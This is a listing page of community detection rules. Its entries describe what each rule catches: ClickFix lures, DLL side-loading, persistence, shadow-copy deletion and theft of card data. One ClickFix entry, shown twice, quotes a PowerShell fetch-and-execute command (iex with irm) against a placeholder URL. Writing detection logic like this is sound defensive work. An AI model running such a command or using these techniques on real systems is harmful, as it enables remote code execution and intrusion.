Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
601 detections
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Detects post-compromise activity associated with the NeedyMantis group, specifically the staging of a legitimate binary alongside a malicious DLL and a paired archive, followed by the execution of the legitimate binary to trigger DLL side-loading. This activity is typically preceded by Impacket-style remote command execution (e.g., wmiexec, smbexec, atexec).
Detects execution of various reconnaissance commands commonly used by Remote Access Trojans (RATs) to profile a target host. This includes querying security product status (AV/Defender), enumerating domain controllers, network adapters, port scanning, and gathering system hardware and software inventory.
Detects instances where Windows Explorer launches command interpreters (cmd.exe, powershell.exe, wscript.exe, or mshta.exe) with suspicious leading whitespace in the command-line arguments. This behavior is often associated with obfuscation techniques intended to bypass command-line monitoring or security filters.
Detects modifications to Windows Registry persistence locations (Run, RunOnce, Winlogon Shell/Userinit) where the assigned executable path is located within high-risk directories such as Temp, AppData, or Users Public folders. This is a common technique used by malware for persistence.
Detects Microsoft Office applications or scripting engines spawning schtasks.exe to create or modify a scheduled task that executes as the SYSTEM user upon system startup or login. This behavior is highly indicative of persistence mechanisms used by malicious documents or scripts.
Detects the abuse of Windows protocol handlers ('search-ms:') and WebDAV UNC paths ('@SSL\DavWWWRoot') launched from common web browsers or Windows shell processes. This technique, frequently observed in 'ClickFix' phishing campaigns, enables attackers to stage remote payloads like LNK, HTA, or scripts by leveraging native Windows functionality to resolve remote content as if it were a local resource, bypassing typical file download security controls.
Detects a sequence of activity where a user receives a high volume of inbound emails (potential vishing or social engineering lures) within a short window, followed by the user executing Windows Remote Assistance or Quick Assist tools within the next 6 hours, which is highly indicative of remote access social engineering pre-cursors.
Detects the manual enablement of network discovery services (fdrespub, fdPHost, SSDPSRV, upnphost) and the associated Windows Firewall rules. This activity is a known tactic used by Gentlemen ransomware to facilitate lateral movement and network share enumeration by making the compromised host visible to others and allowing it to discover peers.
Detects the execution of various system binaries (e.g., rundll32.exe, powershell.exe, regsvr32.exe) launched from a Temp directory where the parent or actor process is identified as rnpkeys.exe or rnp.dll. This behavior is indicative of potential malicious activity where legitimate tools or utilities (GnuPG/RNP) are being abused to proxy the execution of secondary payloads or scripts.
Detects the creation of scheduled tasks using schtasks.exe that exhibit behaviors associated with common remote execution tools (e.g., Impacket's atexec.py) or staging from insecure directories like Temp, ProgramData, or network shares. These patterns are frequently used by threat actors, including INC Ransom, for lateral movement and remote execution of malicious payloads.
Detects the execution of conhost.exe with the --headless flag, which is commonly observed in Kimsuky LNK-based malware campaigns to execute encoded cmd.exe payloads. This pattern involves the use of certutil or echo commands to deobfuscate and execute embedded scripts, often leveraging hidden windows or process hollowing techniques for persistence and evasion.
Detects the specific pattern associated with Storm-2570 for enabling Remote Desktop Protocol (RDP) on a target host to facilitate lateral movement. The detection looks for registry modifications to disable RDP denial (fDenyTSConnections=0), firewall rules allowing TCP port 3389 via netsh or PowerShell, and the deployment of these configurations using PsExec against a target host list file.
Detects a sequence of activity where a user receives a high volume of inbound emails (potential vishing or social engineering lures) within a short window, followed by the user executing Windows Remote Assistance or Quick Assist tools within the next 6 hours, which is highly indicative of remote access social engineering pre-cursors.
Detects the execution of search-ms or search protocol URIs that contain a 'crumb' parameter combined with either a 'displayname' parameter or remote path indicators (such as WebDAV/UNC paths). This technique is commonly used by adversaries to redirect Windows Search to a remote, malicious location while masking the source by spoofing the displayed name or path to trick users.
Detects the FileFix (ClickFix) social engineering technique, where an attacker tricks a user into pasting malicious command lines into the Windows File Explorer address bar. The rule correlates a process execution (PowerShell, Cmd, Mshta) originating from explorer.exe with recent registry writes to shell history artifacts (RunMRU, TypedPaths, or ShellBags) within a 120-second window, identifying the characteristic 'paste-and-execute' behavior.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects attempts by malicious software to inhibit system recovery by deleting Volume Shadow Copies. The rule monitors for the execution of vssadmin.exe with deletion flags or wmic.exe with shadowcopy deletion commands combined with non-interactive flags, which are common indicators of ransomware preparation.
Detects suspicious command-line fragments being written to the Windows RunMRU registry key, which is used by the Explorer 'Run' dialog to store history. Adversaries may abuse this by injecting malicious command lines that are then executed when a user attempts to run a program.
This rule monitors for suspicious command-line activity involving the Fortis payment processor's webhook log files. It detects when attackers use tools like 'findstr', 'cmd', or 'dir' to navigate directories containing webhook data and specifically searches for payment card fields such as CVV, primary account numbers, and expiration dates, which is a common indicator of post-compromise data exfiltration.
Detects suspicious execution patterns characteristic of post-exploitation activity, such as invoking 'go run' or 'node' from non-standard directories like AppData or Temp, as well as the use of command-line routines to delete files after execution (often associated with self-deleting secondary payloads or persistence cleanup).
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
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